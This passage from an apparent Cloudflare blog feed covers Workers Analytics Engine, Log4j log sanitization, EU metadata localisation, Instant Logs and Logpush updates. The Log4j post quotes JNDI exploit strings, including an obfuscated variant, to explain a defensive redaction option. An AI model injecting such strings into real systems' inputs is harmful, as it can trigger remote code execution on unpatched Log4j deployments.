pollution. Using Workers Analytics Engine, you could deploy a Worker in just a few minutes that collects these reports, and then query and visualize the data using our analytics APIs.</p>
    <div>
      <h3>How to use Workers Analytics Engine</h3>
      <a href="#how-to-use-workers-analytics-engine">
        
      </a>
    </div>
    <p>There are three steps to get started with Workers Analytics Engine:</p><ol><li><p>Configure your analytics using <a href="https://developers.cloudflare.com/workers/cli-wrangler/configuration/">Wrangler</a></p></li><li><p>Write data using the <a href="https://developers.cloudflare.com/workers/runtime-apis/">Workers Runtime API</a></p></li><li><p>Query your data using our SQL or <a href="https://developers.cloudflare.com/analytics/graphql-api/">GraphQL API</a>.</p></li></ol>
    <div>
      <h3>Configuring Workers Analytics Engine in Wrangler</h3>
      <a href="#configuring-workers-analytics-engine-in-wrangler">
        
      </a>
    </div>
    <p>To start using Workers Analytics Engine, you first need to configure it in Wrangler. This is done by creating a binding in <a href="https://developers.cloudflare.com/workers/cli-wrangler/configuration/"><code>wrangler.toml</code></a>.</p>
            <pre><code>[analytics_engine]
bindings = [
    { name = "WEATHER" }
]</code></pre>
            <p>Your analytics can be named after the event in the world that they represent. For example, readings from our weather sensor above might be named “WEATHER.”</p><p>For our current beta release, customers may only create one binding at a time. In the future, we plan to enable customers to define multiple bindings, or even define them on-the-fly from within the Workers runtime.</p>
    <div>
      <h3>Writing data from the Workers runtime</h3>
      <a href="#writing-data-from-the-workers-runtime">
        
      </a>
    </div>
    <p>Once a binding is declared in Wrangler, you get a new <a href="https://developers.cloudflare.com/workers/platform/environment-variables/">environment variable</a> in the Workers runtime that represents your Analytics Engine. This variable has a method, <code>writeDataPoint()</code>. A “data point” is a structured event which consists of a vector of <i>blobs</i> and a vector of <i>doubles</i>.</p><p>A double is just a “number” type field that can be aggregated in some way – for example, it could be summed, averaged, or quantiled. A blob is a “string” type field that can be used for grouping or filtering.</p><p>For example, suppose you are collecting air quality samples. Each data point would represent a reading from your weather sensor. Doubles might include numbers like the temperature or air pressure reading. The blobs could include the location of the sensor and the hardware identifier of the sensor.</p><p>Here’s what this looks like in code:</p>
            <pre><code>  async fetch(request: Request, env) {
    env.WEATHER.writeDataPoint({
      blobs: ["Seattle", "USA", "pro_sensor_9000"],
      doubles: [25, 0.5]
    });
    return new Response("OK!");
  }</code></pre>
            <p>In our initial version, developers are responsible for providing fields in a consistent order, so that they have the same semantics when querying. In a future iteration, we plan to let developers name their blobs and doubles in the binding, and then use these names when writing data points in the runtime.</p>
    <div>
      <h3>Querying and visualizing data</h3>
      <a href="#querying-and-visualizing-data">
        
      </a>
    </div>
    <p>To query your data, Cloudflare provides a rich SQL API. For example:</p>
            <pre><code>SELECT blob_1 as city, avg(doubles_2) as avg_humidity
FROM WEATHER
WHERE double_1 &gt; 0
ORDER BY avg_humidity DESC
LIMIT 10</code></pre>
            <p>The results would show you the top 10 cities that had the highest average humidity readings when the temperature was above 0.</p><p>Note that, for our initial version, blobs and doubles are accessed via names that have 1-based indexing. In the future, when we let developers name blobs and doubles in their binding, these names will also be available via the SQL API.</p><p>Workers Analytics Engine is optimized for powering <i>time series</i> analytics that can be visualized using tools like Grafana. Every event written from the runtime is automatically populated with a <code>timestamp</code> field. This makes it incredibly easy to make time series charts in Grafana:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6iEBcfjVdFME7W2G313LEL/f38a3c2aca1e48fe675c68f5b4b0c0d8/image1-27.png" />
            
            </figure><p>The macro <code>$timeSeries</code> simply expands to <code>intDiv(toUInt32(timestamp), 60) * 60 * 1000</code> — i.e. the timestamp rounded to the nearest minute (as defined in our \$step parameter)  and converted into milliseconds. Grafana also provides \$timeFilter which can be changed at the grafana dashboard level. We could easily add another series here by just “grouping” on another field like “city”.</p><p>Data can also be queried using our GraphQL API. At this time, the GraphQL API only supports querying total counts for each named binding.</p><p>Finally, the Cloudflare dashboard also provides a high-level count of the total number of data points seen for each binding. In the future, we plan to offer rich analytical abilities through the dashboard.</p>
    <div>
      <h3>How is this different from traditional metrics systems?</h3>
      <a href="#how-is-this-different-from-traditional-metrics-systems">
        
      </a>
    </div>
    <p>Many developers are familiar with <i>metrics</i> systems like Prometheus. We built Workers Analytics Engine based on our experience providing analytics for millions of Cloudflare customers. Writing structured event logs and querying them using a relational database model is very different from writing metrics – but it’s also much more powerful.</p><p>Here are some of the benefits of our model, compared with metrics systems:</p><ul><li><p><b><b><b>Unlimited cardinality of label values:</b></b></b> In a traditional metrics system, like Prometheus, every time you add a new label value, under the hood you are actually adding a new metric. If you have multiple labels for one data point, this can rapidly increase the number of metrics. Nearly everyone using a metrics system <a href="https://www.google.com/search?q=prometheus+cardinality">runs into challenges with cardinality</a>. For example, you may start by including a “customer ID” in a label – but what happens when you have thousands or millions of customers? In contrast, when using Workers Analytics Engine, every blob value is stored independently – so every data point can have unique (blob) label values with no problem.</p></li><li><p><b><b><b>Low latency reporting:</b></b></b> Pull-based metrics systems must check for new metrics at some fixed interval, known as a <a href="https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config"><i>scrape interval</i></a>. Commonly this is set to one minute or longer – and this is the absolute fastest that your data can be collected. With Workers Analytics Engine, we can report on new data points within a few seconds.</p></li><li><p><b><b><b>Fast queries at any timescale:</b></b></b> Everyone who uses Prometheus knows what happens when you expand that range selector in Grafana to change from looking back 30 minutes to seven days… you wait, and you’re lucky if you get any results at all. <a href="https://thanos.io/">Whole new pieces of software</a> exist just for the challenge of storing Prometheus metrics long-term. In contrast, Workers Analytics Engine is superfast at querying anything from the last five minutes of data to the last seven days. Look for yourself to see!</p></li></ul><div></div>
<p></p><p>And of course, Workers Analytics Engine runs on Cloudflare’s global network. So rather than worrying about running your own Prometheus server, setting up Thanos, and closely tracking cardinality, you can just write data and query it using our SQL API.</p>
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>You can <a href="https://developers.cloudflare.com/analytics/analytics-engine/get-started/">get started here</a> and write data to Workers Analytics Engine from your Worker today. We already have many teams at Cloudflare happily using this and would love to get your feedback at this early stage, as we are quickly adding new functionality.</p><p>We have an ambitious roadmap ahead of us. One critical use case we plan to support is building analytics and usage-based billing <i>for your customers</i> – so if you’re a platform who is looking to build analytics into your product, we’d love to talk to you!</p><p>And of course, if this sounds fun to work on, we’re hiring engineers on the Data team to work in <a href="https://boards.greenhouse.io/cloudflare/jobs/2103918?gh_jid=2103918">San Francisco</a>, <a href="https://boards.greenhouse.io/cloudflare/jobs/3702343?gh_jid=3702343">London</a>, or remote locations!</p> ]]></content:encoded>
            <category><![CDATA[Platform Week]]></category>
            <guid isPermaLink="false">3rewoqYpo993dwlSkrguct</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Sanitizing Cloudflare Logs to protect customers from the Log4j vulnerability]]></title>
            <link>https://blog.cloudflare.com/log4j-cloudflare-logs-mitigation/</link>
            <pubDate>Tue, 14 Dec 2021 10:23:30 GMT</pubDate>
            <description><![CDATA[ Many Cloudflare customers consume their logs using software that uses Log4j, so we are mitigating any exploit attempts via Cloudflare Logs. ]]></description>
            <content:encoded><![CDATA[ <p>On December 9, 2021, the world learned about <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a>, a zero-day exploit affecting the <a href="https://logging.apache.org/log4j/2.x/index.html">Apache Log4j utility</a>.  Cloudflare immediately <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">updated our WAF</a> to help protect against this vulnerability, but we recommend customers update their systems as quickly as possible.</p><p>However, we know that many Cloudflare customers consume their logs using software that uses Log4j, so we are also mitigating any exploits attempted via Cloudflare Logs. As of this writing, we are seeing the exploit pattern in logs we send to customers up to 1000 times every second.</p><p>Starting immediately, customers can update their Logpush jobs to automatically redact tokens that could trigger this vulnerability. You can read more about this in our <a href="https://developers.cloudflare.com/logs/reference/logpush-api-configuration#options">developer docs</a> or see details below.</p>
    <div>
      <h3>How the attack works</h3>
      <a href="#how-the-attack-works">
        
      </a>
    </div>
    <p>You can read more about <a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">how the Log4j vulnerability works</a> in our blog post . In short, an attacker can add something like <code>${jndi:ldap://example.com/a}</code> in any string. Log4j will then make a connection on the Internet to retrieve this object.</p><p>Cloudflare Logs contain many string fields that are controlled by end-users on the public Internet, such as User Agent and URL path. With this vulnerability, it is possible that a malicious user can cause a <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution</a> on any system that reads these fields and uses an unpatched instance of Log4j.</p>
    <div>
      <h3>Our mitigation plan</h3>
      <a href="#our-mitigation-plan">
        
      </a>
    </div>
    <p>Unfortunately, just checking for a token like <code>${jndi:ldap</code> is not sufficient to protect against this vulnerability. Because of the expressiveness of the templating language, it’s necessary to check for obfuscated variants as well. Already, we are seeing attackers in the wild use variations like <code>${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}</code>.  Thus, redacting the token ${ is the most general way to defend against this vulnerability.</p><p>The token <code>${</code> appears up to 1,000 times per second in the logs we currently send to customers. A spot check of some records shows that many of them are <i>not</i> attempts to exploit this vulnerability. Therefore, we can’t safely redact our logs without impacting customers who may expect to see this token in their logs.</p><p>Starting now, customers can update their Logpush jobs to redact the string <code>${</code> and replace it with <code>x{</code> everywhere.</p><p>To enable this, customers can update their Logpush job options configuration to include the parameter <code>CVE-2021-44228=true</code>. For detailed instructions on how to do this using the Logpush API, see the example in <a href="https://developers.cloudflare.com/logs/reference/logpush-api-configuration/examples/example-logpush-curl#step-6---updating-logpull_options">our developer documentation</a>. Please note that this option is not currently available in the Cloudflare Dashboard and only modifiable by using the API.</p> ]]></content:encoded>
            <category><![CDATA[Logs]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">2gTEgDnn3ynhqs9rwNuhie</guid>
            <dc:creator>Jon Levine</dc:creator>
            <dc:creator>Sohei Okamoto</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing the Customer Metadata Boundary]]></title>
            <link>https://blog.cloudflare.com/introducing-the-customer-metadata-boundary/</link>
            <pubDate>Tue, 07 Dec 2021 13:59:15 GMT</pubDate>
            <description><![CDATA[ Cloudflare’s Data Localisation Suite now helps customers localise metadata about their HTTP traffic. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Data localisation has gotten a lot of attention in recent years because a number of countries see it as a way of controlling or protecting their citizens’ data. Countries such as Australia, China, India, Brazil, and South Korea have or are currently considering regulations that assert <a href="https://www.cloudflare.com/learning/privacy/what-is-data-sovereignty/">legal sovereignty over their citizens’ personal data</a> in some fashion — health care data must be stored locally; public institutions may only contract with local service providers, etc.</p><p>In the EU, the recent “Schrems II” decision resulted in additional requirements for companies that transfer personal data outside the EU. And a number of highly regulated industries require that specific types of personal data stay within the EU’s borders.</p><p>Cloudflare is committed to helping our customers keep personal data in the EU. Last year, we introduced the <a href="/introducing-the-cloudflare-data-localization-suite/">Data Localisation Suite</a>, which gives customers control over where their data is inspected and stored.</p><p>Today, we’re excited to introduce the Customer Metadata Boundary, which expands the Data Localisation Suite to ensure that a customer’s end user traffic metadata stays in the EU.</p>
    <div>
      <h3>Metadata: a primer</h3>
      <a href="#metadata-a-primer">
        
      </a>
    </div>
    <p>“Metadata” can be a scary term, but it’s a simple concept — it just means “data about data.” In other words, it’s a description of activity that happened on our network. Every service on the Internet collects metadata in some form, and it’s vital to user safety and network availability.</p><p>At Cloudflare, we collect metadata about the usage of our products for several purposes:</p><ul><li><p>Serving analytics via our dashboards and APIs</p></li><li><p>Sharing logs with customers</p></li><li><p>Stopping security threats such as bot or DDoS attacks</p></li><li><p>Improving the performance of our network</p></li><li><p>Maintaining the reliability and resiliency of our network</p></li></ul><p>What does that collection look like in practice at Cloudflare? Our network consists of dozens of services: our Firewall, Cache, DNS Resolver, DDoS protection systems, Workers runtime, and more. Each service emits structured log messages, which contain fields like timestamps, URLs, usage of Cloudflare features, and the identifier of the customer’s account and zone.</p><p>These messages do not contain the <i>contents</i> of customer traffic, and so they do <b>not</b> contain things like usernames, passwords, personal information, and other private details of customers’ end users. However, these logs may contain end-user IP addresses, which is considered personal data in the EU.</p>
    <div>
      <h3>Data Localisation in the EU</h3>
      <a href="#data-localisation-in-the-eu">
        
      </a>
    </div>
    <p>The EU’s General Data Protection Regulation, or GDPR, is one of the world’s most comprehensive (and well known) data privacy laws. The GDPR does <i>not</i>, however, insist that personal data must stay in Europe. Instead, it provides a number of legal mechanisms to ensure that GDPR-level protections are available for EU personal data if it is transferred outside the EU to a third country like the United States. Data transfers from the EU to the US were, until recently, permitted under an agreement called the <a href="https://www.privacyshield.gov/welcome">EU-U.S. Privacy Shield Framework</a>.</p><p>Shortly after the GDPR went into effect, a privacy activist named <a href="https://en.wikipedia.org/wiki/Max_Schrems">Max Schrems</a> filed suit against Facebook for their data collection practices. In July 2020, the Court of Justice of the EU issued the “Schrems II” ruling — which, among other things, invalidated the Privacy Shield framework. However, the court upheld other valid transfer mechanisms that ensure EU personal data won’t be accessed by U.S. government authorities in a way that violates the GDPR.</p><p>Since the Schrems II decision, many customers have asked us how we’re protecting EU citizens’ data. Fortunately, Cloudflare has had <a href="https://www.cloudflare.com/gdpr/introduction/">data protection safeguards</a> in place since well before the Schrems II case, such as our <a href="https://assets.ctfassets.net/slt3lc6tev37/2RM2ZAb5XJiudjz4QHvth4/b3df347d8a7a629ccd5cadd4f7cfd2f3/BDES-1406_Privacy_Day_Whitepaper_2021.pdf">industry-leading commitments</a> on government data requests. In response to Schrems II in particular, we updated our customer <a href="https://www.cloudflare.com/cloudflare-customer-dpa/">Data Processing Addendum</a> (DPA). We incorporated the latest <a href="https://www.cloudflare.com/cloudflare-customer-scc/">Standard Contractual Clauses</a>, which are legal agreements approved by the EU Commission that enable data transfer. We also added additional safeguards as outlined in the <a href="https://edpb.europa.eu/news/news/2021/edpb-adopts-final-version-recommendations-supplementary-measures-letter-eu_en">EDPB’s June 2021 Recommendations on Supplementary Measures</a>. Finally, Cloudflare’s services are certified under the ISO 27701 standard, which maps to the GDPR’s requirements.</p><p>In light of these measures, we believe that our EU customers can use Cloudflare’s services in a manner consistent with GDPR and the Schrems II decision. Still, we recognize that many of our customers want their EU personal data to stay in the EU. For example, some of our customers in industries like healthcare, law, and finance may have additional requirements.  For that reason, we have developed an optional suite of services to address those requirements. We call this our Data Localisation Suite.</p>
    <div>
      <h3>How the Data Localisation Suite helps today</h3>
      <a href="#how-the-data-localisation-suite-helps-today">
        
      </a>
    </div>
    <p>Data Localisation is challenging for customers because of the volume and variety of data they handle. When it comes to their Cloudflare traffic, we’ve found that customers are primarily concerned about three areas:</p><ol><li><p>How do I ensure my encryption keys stay in the EU?</p></li><li><p>How can I ensure that services like caching and <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF</a> only run in the EU?</p></li><li><p>How can ensure that metadata is never transferred outside the EU?</p></li></ol><p>To address the first concern, Cloudflare has long offered <a href="https://www.cloudflare.com/ssl/keyless-ssl/">Keyless SSL</a> and <a href="/introducing-cloudflare-geo-key-manager/">Geo Key Manager</a>, which ensure that private SSL/TLS key material never leaves the EU. Keyless SSL ensures that Cloudflare never has possession of the private key material at all; Geo Key Manager uses Keyless SSL under the hood to ensure the keys never leave the specified region.</p><p>Last year we addressed the second concern with <a href="/introducing-regional-services/">Regional Services</a>, which ensures that Cloudflare will only be able to decrypt and inspect the content of HTTP traffic inside the EU. In other words, SSL connections will only be terminated in the EU, and all of our layer 7 security and performance services will only run in our EU data centers.</p><p>Today, we’re enabling customers to address the third and final concern, and keep metadata local as well.</p>
    <div>
      <h3>How the Metadata Boundary Works</h3>
      <a href="#how-the-metadata-boundary-works">
        
      </a>
    </div>
    <p>The Customer Metadata Boundary ensures, simply, that end user traffic metadata that can identify a customer stays in the EU. This includes all the logs and analytics that a customer sees.</p><p>How are we able to do this? All the metadata that can identify a customer flows through a single service at our edge, before being forwarded to one of our core data centers.</p><p>When the Metadata Boundary is enabled for a customer, our edge ensures that any log message that identifies that customer (that is, contains that customer's Account ID) is not sent outside the EU. It will only be sent to our core data center in the EU, and not our core data center in the US.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/12lcx2Efei67w6jfteXoMN/d3c2c22e54af6bf25d549067e559dae8/image2-14.png" />
            
            </figure>
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>Today our Data Localisation Suite is focused on helping our customers in the EU localise data for their inbound HTTP traffic. This includes our Cache, Firewall, <a href="https://www.cloudflare.com/ddos/">DDoS protection</a>, and Bot Management products.</p><p>We’ve heard from customers that they want data localisation for more products and more regions. This means making all of our Data Localisation Products, including Geo Key Manager and Regional Services, work globally. We’re also working on expanding the Metadata Boundary to include our Zero Trust products like Cloudflare for Teams. Stay tuned!</p> ]]></content:encoded>
            <category><![CDATA[CIO Week]]></category>
            <category><![CDATA[Privacy]]></category>
            <category><![CDATA[Compliance]]></category>
            <category><![CDATA[Data]]></category>
            <category><![CDATA[Europe]]></category>
            <category><![CDATA[Policy & Legal]]></category>
            <guid isPermaLink="false">74am2210Vl5UqONcLXY00k</guid>
            <dc:creator>Jon Levine</dc:creator>
            <dc:creator>Emily Hancock</dc:creator>
        </item>
        <item>
            <title><![CDATA[Data at Cloudflare just got a lot faster: Announcing Live-updating Analytics and Instant Logs]]></title>
            <link>https://blog.cloudflare.com/instant-logs/</link>
            <pubDate>Tue, 14 Sep 2021 12:58:58 GMT</pubDate>
            <description><![CDATA[ Today, we’re excited to introduce Live-updating Analytics and Instant Logs. For Pro, Business, and Enterprise customers, our analytics dashboards now update in real time. In addition to this, Enterprise customers can now view their HTTP request logs instantly in the Cloudflare dashboard. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Today, we’re excited to introduce Live-updating Analytics and Instant Logs. For Pro, Business, and Enterprise customers, our analytics dashboards now update live to show you data as it arrives. In addition to this, Enterprise customers can now view their HTTP request logs <i>instantly</i> in the Cloudflare dashboard.</p><p>Cloudflare’s data products are essential for our customers’ visibility into their network and applications. Having this data in real time makes it even more powerful — could you imagine trying to navigate using a GPS that showed your location a minute ago? That’s the power of real time data!</p><p>Real time data unlocks entirely new use cases for our customers. They can respond to threats and resolve errors as soon as possible, keeping their applications secure and minimising disruption to their end users.</p>
    <div>
      <h3>Lightning fast, in-depth analytics</h3>
      <a href="#lightning-fast-in-depth-analytics">
        
      </a>
    </div>
    <p>Cloudflare products generate petabytes of log data daily and are designed for scale. To make sense of all this data, we summarize it using <i>analytics</i> — the ability to see time series data, tops Ns, and slices and dices of the data generated by Cloudflare products. This allows customers to identify trends and anomalies and drill deep into problems.</p><p>We take it a step further from just showing you high-level metrics. With Cloudflare Analytics you have the ability to quickly drill down into the most important data — narrow in on a specific time period and add a chain of filters to slice your data further and see all the reflecting analytics.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/aubWPIbw9esgvvt8fhvQK/8a95753d367730991b9a83ab69e3c0e9/image4.gif" />
            
            </figure><p>Video of Cloudflare analytics showing live updating and drill down capabilities</p><p>Let’s say you’re a developer who’s made some recent changes to your website, you’ve deleted some old content and created new web pages. You want to know as soon as possible if these changes have led to any broken links, so you can quickly identify them and make fixes. With live-updating analytics, you can monitor your traffic by status code. If you notice an uptick in 404 errors add a filter to get details on all 404s and view the top referrers causing the errors. From there, take steps to resolve the problem whether by creating a redirect page rule or fixing broken links on your own site.</p>
    <div>
      <h3>Instant Logs at your fingertips</h3>
      <a href="#instant-logs-at-your-fingertips">
        
      </a>
    </div>
    <p>While Analytics are a great way to see data at an aggregate level, sometimes you need event level information, too. Logs are powerful because they record <i>every single event</i> that flows through a network, so you can figure out what occurred on a granular level.</p><p>Our Logpush system is already able to get logs from our global edge network to a customer’s storage destination or analytics provider within seconds. However, setting this up has a lot of overhead and often customers incur long processing times at their destination. We wanted logs to be instant — instant to set up, deliver and take action on.</p><div></div><p>It’s that easy.</p><p>With Instant Logs, customers can actively monitor the traffic that's flowing through their network and make key decisions that affect their applications now. Real time data unlocks totally new use cases:</p><ul><li><p>For Security Engineers: Stop an attack as it’s developing. For example, apply a Firewall rule and see it’s impact — get answers within seconds. If it’s not what you were intending, try another rule and check again.</p></li><li><p>For Developers: Roll out a config change — to Cloudflare, or to your origin — and have piece of mind to watch as your error rates stay flat (we hope!).</p></li></ul><p>(By the way, if you’re a fan of Workers and want to see real time Workers logging, check out the recently released <a href="/introducing-workers-dashboard-logs/">dashboard for Workers logs</a>.)</p>
    <div>
      <h3>Logs at the speed of sight</h3>
      <a href="#logs-at-the-speed-of-sight">
        
      </a>
    </div>
    <p>“Real time” or “instant” can mean different things to different people in different contexts. At Cloudflare, we’re striving to make it as close to the speed of sight as possible. For us, this means we wanted the “glass-to-glass” time — from when you hit “enter” in your browser until when the logs appear — <i>to be under one second</i>.</p><p>How did we do?</p><div></div>
<p></p><p>Today, Cloudflare’s Instant Logs have an average delay of two seconds, and we’re continuing to make improvements to drive that down.</p><p>“Real-time” is a very fuzzy term. Looking at other services we see Akamai talking about real-time data as “<a href="https://www.akamai.com/products/datastream">within minutes</a>” or “<a href="https://learn.akamai.com/en-us/webhelp/media-reports/media-reports-user-guide/GUID-0BE832A0-A2C2-4CE6-BA32-3A00C6E3C91B.html">latency of 10 minutes</a>”, Amazon talks about “<a href="https://aws.amazon.com/cloudwatch/faqs/">near real-time</a>” for CloudWatch, Google Cloud Logging provides log tailing with a configurable buffer “<a href="https://cloud.google.com/logging/docs/view/streaming-live-tailing">up to 60 seconds</a>” to deal with potential out-of-order log delivery, and we benchmarked Fastly logs at 25 seconds.</p><p>Our goal is to drive down the delay as much as possible (within the laws of physics). We’re happy to have shipped Instant Logs that arrive in two seconds, but we’re not satisfied and will continue to bring that number down.</p><p>In time sensitive scenarios such as an attack or an outage, a few minutes or even 30 seconds of delay can have a big impact on customers. At Cloudflare, our goal is to get our customer’s data into their hands as fast as possible  — and we’re just getting started.</p>
    <div>
      <h3>How to get access?</h3>
      <a href="#how-to-get-access">
        
      </a>
    </div>
    <p>Live-updating Analytics is available now on all Pro, Business, and Enterprise plans. Select the “Last 30 minutes” view of your traffic in the Analytics tab to start monitoring your analytics live.</p><p>We’ll be starting our Beta for Instant Logs in a couple of weeks. <a href="https://www.cloudflare.com/instant-logs-beta/">Join the waitlist</a> to get notified about when you can get access!</p><p>If you’re eager for details on the inner workings of Instant Logs, check out our blog post about <a href="/how-we-built-instant-logs/">how we built Instant Logs</a>.</p>
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>We’re hard at work to make Instant Logs available for all Enterprise customers — stay tuned after joining our waitlist. We’re also planning to bring all of our datasets to Instant Logs, including Firewall Events. In addition, we’re working on the next set of features like the ability to download logs from your session and compute running aggregates from logs.</p><p>For a peek into what we have our sights on next, we know how important it is to perform analysis on not only up-to-date data, but also historical data. We want to give customers the ability to analyze logs, draw insights and perform forensics straight from the Cloudflare platform.</p><p>If this sounds cool, we’re <a href="https://boards.greenhouse.io/cloudflare/jobs/2103918?gh_jid=2103918">hiring engineers</a> for our data team in Lisbon, London and San Francisco — would love to have you help us build the future of data at Cloudflare.</p>
    <div>
      <h3>Watch on Cloudflare TV</h3>
      <a href="#watch-on-cloudflare-tv">
        
      </a>
    </div>
    <div></div> ]]></content:encoded>
            <category><![CDATA[Speed Week]]></category>
            <category><![CDATA[Logs]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Analytics]]></category>
            <guid isPermaLink="false">4W3eOWVbNU4BxGiZXlMb0u</guid>
            <dc:creator>Jon Levine</dc:creator>
            <dc:creator>Tanushree Sharma</dc:creator>
        </item>
        <item>
            <title><![CDATA[More products, more partners, and a new look for Cloudflare Logs]]></title>
            <link>https://blog.cloudflare.com/logpush-ui-update/</link>
            <pubDate>Tue, 22 Jun 2021 13:00:04 GMT</pubDate>
            <description><![CDATA[ Customers can now use our dashboard to push HTTP, Spectrum, Firewall, and NEL Events directly to Datadog, Sumo Logic, Splunk, or an S3-compatible storage provider.
 ]]></description>
            <content:encoded><![CDATA[ <p>We are excited to announce a new look and new capabilities for <a href="https://developers.cloudflare.com/logs/">Cloudflare Logs</a>! Customers on our Enterprise plan can now configure Logpush for Firewall Events and Network Error Logs Reports directly from the dashboard. Additionally, it’s easier to send Logs directly to our analytics partners Microsoft Azure Sentinel, Splunk, Sumo Logic, and Datadog. This blog post discusses how customers use Cloudflare Logs, how we’ve made it easier to consume logs, and tours the new user interface.</p>
    <div>
      <h3>New data sets for insight into more products</h3>
      <a href="#new-data-sets-for-insight-into-more-products">
        
      </a>
    </div>
    <p>Cloudflare Logs are almost as old as Cloudflare itself, but we have a few big improvements: new datasets and new destinations.</p><p>Cloudflare has a large number of products, and nearly all of them can generate Logs in different <i>data sets</i>. We have “HTTP Request” Logs, or one log line for every L7 HTTP request that we handle (whether cached or not). We also provide connection Logs for Spectrum, our proxy for any TCP or UDP based application. Gateway, part of our Cloudflare for Teams suite, can provide Logs for <a href="/export-logs-from-cloudflare-gateway-with-logpush/">HTTP and DNS</a> traffic.</p><p>Today, we are introducing two new data sets:</p><p><b>Firewall Events</b> gives insight into malicious traffic handled by Cloudflare. It provides detailed information about everything our WAF does. For example, Firewall Events shows whether a request was blocked outright or whether we issued a CAPTCHA challenge.  <a href="/stream-firewall-events-directly-to-your-siem/">About a year ago</a> we introduced the ability to send Firewall Events directly to your <a href="https://www.cloudflare.com/learning/security/what-is-siem/">SIEM</a>; starting today, I’m thrilled to share that you can enable this directly from the dashboard!</p><p><a href="https://support.cloudflare.com/hc/en-us/articles/360050691831-Understanding-Network-Error-Logging"><b>Network Error Logging</b></a> <b>(NEL) Reports</b> provides information about clients that can’t reach our network. To enable NEL Reports for your zone and start seeing where clients are having issues reaching our network, reach out to your account manager.</p>
    <div>
      <h3>Take your Logs anywhere with an S3-compatible API</h3>
      <a href="#take-your-logs-anywhere-with-an-s3-compatible-api">
        
      </a>
    </div>
    <p>To start using logs, you need to store them first. Cloudflare has long supported AWS, Azure, and Google Cloud as storage destinations. But we know that customers use a huge variety of storage infrastructure, which could be hosted on-premise or with one of our <a href="https://www.cloudflare.com/bandwidth-alliance/">Bandwidth Alliance partners</a>.</p><p>Starting today, we support any storage destination with an <a href="https://www.cloudflare.com/developer-platform/solutions/s3-compatible-object-storage/">S3-compatible API</a>. This includes:</p><ul><li><p><a href="https://www.digitalocean.com/docs/spaces/">Digital Ocean Spaces</a></p></li><li><p><a href="https://www.backblaze.com/b2/docs/s3_compatible_api.html">Backblaze B2</a></p></li><li><p><a href="https://www.alibabacloud.com/help/doc-detail/64919.htm#title-37m-7gl-xy2">Alibaba Cloud OSS</a></p></li><li><p><a href="https://docs.jdcloud.com/en/object-storage-service/introduction-2">JD Cloud Object Storage Service</a></p></li><li><p><a href="https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm">Oracle Cloud Object Storage</a></p></li><li><p><a href="https://www.linode.com/products/object-storage/">Linode Object Storage</a></p></li></ul><p>And best of all, it’s super easy to get data into these locations using our new UI!</p><blockquote><p><i>"As always, we love that our partnership with Cloudflare allows us to seamlessly offer customers our easy, plug and play storage solution, Backblaze B2 Cloud Storage. Even better is that, as founding members of the Bandwidth Alliance, we can do it all with free egress."— </i><b><i>Nilay Patel</i></b><i>, Co-founder and VP of Solutions Engineering and Sales, Backblaze.</i></p></blockquote>
    <div>
      <h3>Push Cloudflare Logs directly to our analytics partners</h3>
      <a href="#push-cloudflare-logs-directly-to-our-analytics-partners">
        
      </a>
    </div>
    <p>While many customers like to store Logs themselves, we’ve also heard that many customers want to get Logs into their analytics provider directly — without going through another layer. Getting high volume log data out of <a href="https://www.cloudflare.com/learning/cloud/what-is-object-storage/">object storage</a> and into an analytics provider can require building and maintaining a costly, time-consuming, and fragile integration.</p><p>Because of this, we now provide direct integrations with four analytics platforms: Microsoft Azure Sentinel, Sumo Logic, Splunk, and Datadog. And starting today, you can push Logs directly into Sumo Logic, Splunk and Datadog from the UI! Customers can add Cloudflare to Azure Sentinel using the <a href="https://azuremarketplace.microsoft.com/en-us/marketplace/apps/azuresentinel.azure-sentinel-solution-cloudflare?tab=Overview">Azure Marketplace</a>.</p><blockquote><p><i>“Organizations are in a state of digital transformation on a journey to the cloud. Most of our customers deploy services in multiple clouds and have legacy systems on premise. Splunk provides visibility across all of this, and more importantly, with SOAR we can automate remediation. We are excited about the Cloudflare partnership, and adding their data into Splunk drives the outcomes customers need to modernize their security operations.”— </i><b><i>Jane Wong</i></b><i>, Vice President, Product Management, Security at Splunk</i></p></blockquote><blockquote><p><i>"Securing enterprise IT environments can be challenging - from devices, to users, to apps, to data centers on-premises or in the cloud. In today’s environment of increasingly sophisticated cyber-attacks, our mutual customers rely on Microsoft Azure Sentinel for a comprehensive view of their enterprise.  Azure Sentinel enables SecOps teams to collect data at cloud scale and empowers them with AI and ML to find the real threats in those signals, reducing alert fatigue by as much as 90%. By integrating directly with Cloudflare Logs we are making it easier and faster for customers to get complete visibility across their entire stack.”— </i><b><i>Sarah Fender</i></b><i>, Partner Group Program Manager, Azure Sentinel at Microsoft</i></p></blockquote><blockquote><p><i>"As a long time Cloudflare partner we've worked together to help joint customers analyze events and trends from their websites and applications to provide end-to-end visibility to improve digital experiences. We're excited to expand our partnership as part of the Cloudflare Analytics Ecosystem to provide comprehensive real-time insights for both observability and the security of mission-critical applications and services with our Cloud SIEM solution."— 